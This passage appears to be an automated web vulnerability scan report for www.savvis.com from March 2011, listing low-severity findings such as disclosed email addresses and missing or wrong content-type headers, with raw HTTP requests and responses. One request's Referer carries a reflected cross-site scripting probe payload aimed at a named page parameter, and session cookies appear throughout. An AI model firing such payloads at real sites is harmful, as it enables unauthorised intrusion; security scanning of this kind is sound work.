...[SNIP]...
<mjijackson@gmail.com>
...[SNIP]...
<mjijackson@gmail.com>
...[SNIP]...

5.5. http://www.savvis.com/assets/shadowbox/skin/classic/skin.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/assets/shadowbox/skin/classic/skin.css

Issue detail

The following email address was disclosed in the response:

mjijackson@gmail.com

Request

GET /assets/shadowbox/skin/classic/skin.css HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Referer: http://www.savvis.com/en-US/Pages/Home.aspx
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Fri, 04 Mar 2011 02:13:37 GMT
Content-Type: text/css
ETag: "{3B660B76-75F6-4AE6-8CB3-4EF6FF92D11D},466pub"
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: public, max-age=86400
Vary: Accept-Encoding
Content-Length: 5304

/**
* The "classic" theme CSS for Shadowbox.
*
* This file is part of Shadowbox.
*
* Shadowbox is an online media viewer application that supports all of the
* web's most popular media publishin
...[SNIP]...
<mjijackson@gmail.com>
...[SNIP]...

5.6. http://www.savvis.com/assets/shadowbox/skin/classic/skin.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/assets/shadowbox/skin/classic/skin.js

Issue detail

The following email address was disclosed in the response:

mjijackson@gmail.com

Request

GET /assets/shadowbox/skin/classic/skin.js HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Referer: http://www.savvis.com/en-US/Pages/Home.aspx
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 3495
Date: Fri, 04 Mar 2011 02:13:37 GMT
Content-Type: application/x-javascript
ETag: "{CA7A4A56-1FE0-4AA6-A1DD-3A15F59DA178},428"
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
Last-Modified: Fri, 31 Dec 2010 01:38:07 GMT
ResourceTag: rt:CA7A4A56-1FE0-4AA6-A1DD-3A15F59DA178@00000000428
Exires: Thu, 17 Feb 2011 02:13:37 GMT
Cache-Control: private,max-age=0
Public-Extension: http://schemas.microsoft.com/repl-2

/**
* The "classic" theme markup for Shadowbox.
*
* This file is part of Shadowbox.
*
* Shadowbox is an online media viewer application that supports all of the
* web's most popular media publis
...[SNIP]...
<mjijackson@gmail.com>
...[SNIP]...

5.7. http://www.savvis.com/en-US/Contacts/Pages/Home.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/en-US/Contacts/Pages/Home.aspx

Issue detail

The following email address was disclosed in the response:

George.csolak@savvis.net

Request

GET /en-US/Contacts/Pages/Home.aspx HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=v4ogkqaqnxabmhavqq3hfh55; ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={34118E4A-FE50-4D71-BFA9-8A541F4A5C1A}

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Expires: Sat, 05 Mar 2011 02:20:20 GMT
Date: Sat, 05 Mar 2011 00:20:20 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW05
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Vary: *
Vary: Accept-Encoding
Content-Length: 28754

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html id="ctl00_Html1" dir="ltr">
<head id="ctl00_Head1"><meta name="GENERATOR" content="Micros
...[SNIP]...
<a title="" href="mailto:George.csolak@savvis.net" target="_blank">George.csolak@savvis.net</a>
...[SNIP]...

5.8. http://www.savvis.com/en-US/Contacts/Pages/Support.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/en-US/Contacts/Pages/Support.aspx

Issue detail

The following email address was disclosed in the response:

ssc-asiapac@savvis.net

Request

GET /en-US/Contacts/Pages/Support.aspx HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Referer: http://www.savvis.com/EN-US/INFRASTRUCTURE-SERVICES/Pages/infrastructure-services.aspx
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}; ASP.NET_SessionId=g53kmebm1klpjke5hudcebe5

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Expires: Sat, 05 Mar 2011 05:11:06 GMT
Date: Sat, 05 Mar 2011 03:11:07 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Vary: *
Vary: Accept-Encoding
Content-Length: 27473

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html id="ctl00_Html1" dir="ltr">
<head id="ctl00_Head1"><meta name="GENERATOR" content="Micros
...[SNIP]...
<a href="mailto:ssc-asiapac@savvis.net">ssc-asiapac@savvis.net</a>
...[SNIP]...

5.9. http://www.savvis.com/en-US/Pages/Privacy_Policy.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/en-US/Pages/Privacy_Policy.aspx

Issue detail

The following email addresses were disclosed in the response:

info@savvis.net
unsubscribe@savvis.net

Request

GET /en-US/Pages/Privacy_Policy.aspx HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}; ASP.NET_SessionId=g53kmebm1klpjke5hudcebe5

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Expires: Sat, 05 Mar 2011 05:10:22 GMT
Date: Sat, 05 Mar 2011 03:10:23 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Vary: *
Vary: Accept-Encoding
Content-Length: 35697

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html id="ctl00_Html1" dir="ltr">
<head id="ctl00_Head1"><meta name="GENERATOR" content="Micros
...[SNIP]...
<a href="mailto:unsubscribe@savvis.net">unsubscribe@savvis.net</a>
...[SNIP]...
<a href="mailto:info@savvis.net">info@savvis.net</a>
...[SNIP]...
<a href="mailto:info@savvis.net">info@savvis.net</a>
...[SNIP]...

6. HTML does not specify charset previous next
There are 2 instances of this issue:

/_layouts/
/_layouts/SavvisUtilities/13414

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

6.1. http://www.savvis.com/_layouts/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/_layouts/

Request

GET /_layouts/ HTTP/1.1
Host: www.savvis.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={34118E4A-FE50-4D71-BFA9-8A541F4A5C1A}; ASP.NET_SessionId=g53kmebm1klpjke5hudcebe5;

Response

HTTP/1.1 403 Forbidden
Connection: close
Content-Length: 218
Date: Sat, 05 Mar 2011 13:05:33 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW05
X-Powered-By: ASP.NET

<html><head><title>Error</title></head><body><head><title>Directory Listing Denied</title></head>
<body><h1>Directory Listing Denied</h1>This Virtual Directory does not allow contents to be listed.</b
...[SNIP]...

6.2. http://www.savvis.com/_layouts/SavvisUtilities/13414 previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/_layouts/SavvisUtilities/13414

Request

GET /_layouts/SavvisUtilities/13414 HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Referer: http://www.savvis.com/_layouts/SavvisUtilities/BreadCrumb.aspx?text=Contact%20Us&url=13414%22%3E%3Cscript%3Ealert(String.fromCharCode(72,79,89,84,32,76,76,67,32,82,69,83,69,65,82,67,72,32,88,83,83))%3C/script%3E9393b8fc187
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Connection: Keep-Alive
Set-Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={34118E4A-FE50-4D71-BFA9-8A541F4A5C1A}; HttpOnly; Path=/
Date: Sat, 05 Mar 2011 03:02:15 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW05
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Content-Length: 103

<html><head><title>Error</title></head><body>The system cannot find the file specified.
</body></html>

7. Content type incorrectly stated previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.savvis.com
Path:	/Assets/Images/rail/SalesRecruit_FeatVideo.jpg

Issue detail

The response contains the following Content-type statement:

Content-Type: image/jpeg

The response states that it contains a JPEG image. However, it actually appears to contain a PNG image.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /Assets/Images/rail/SalesRecruit_FeatVideo.jpg HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Referer: http://www.savvis.com/en-US/Company/Careers/Pages/Home.aspx
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}; ASP.NET_SessionId=g53kmebm1klpjke5hudcebe5

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 62286
Date: Sat, 05 Mar 2011 03:10:17 GMT
Content-Type: image/jpeg
ETag: "{4069622C-C77E-413D-82C2-E259CFA02380},140"
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
Last-Modified: Fri, 31 Dec 2010 01:38:03 GMT
ResourceTag: rt:4069622C-C77E-413D-82C2-E259CFA02380@00000000140
Exires: Fri, 18 Feb 2011 03:10:17 GMT
Cache-Control: private,max-age=0
Public-Extension: http://schemas.microsoft.com/repl-2

.PNG
.
...IHDR.............`L.F....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.L.i....&.y.....W.U....P..B.DR"Ej.ZRo.z....OL{..-l........a...8...h...q..{u..^D...... @b..........L.%....XU......{.w.....
...[SNIP]...

8. Content type is not specified previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/en

Issue description

If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /en HTTP/1.1
Host: www.savvis.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={34118E4A-FE50-4D71-BFA9-8A541F4A5C1A}; ASP.NET_SessionId=g53kmebm1klpjke5hudcebe5;

Response

HTTP/1.1 404 NOT FOUND
Connection: close
Content-Length: 1098
Date: Sat, 05 Mar 2011 13:05:35 GMT
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW05
X-Powered-By: ASP.NET
Exires: Fri, 18 Feb 2011 13:05:35 GMT
Cache-Control: private,max-age=0
Public-Extension: http://schemas.microsoft.com/repl-2



<html>
<head>
   <meta HTTP-EQUIV="Content-Type" content="text/html; charset=utf-8" />
   <meta HTTP-EQUIV="Expires" content="0" />
   <noscri
...[SNIP]...

Report generated by XSS.CX at Sat Mar 05 07:15:01 CST 2011.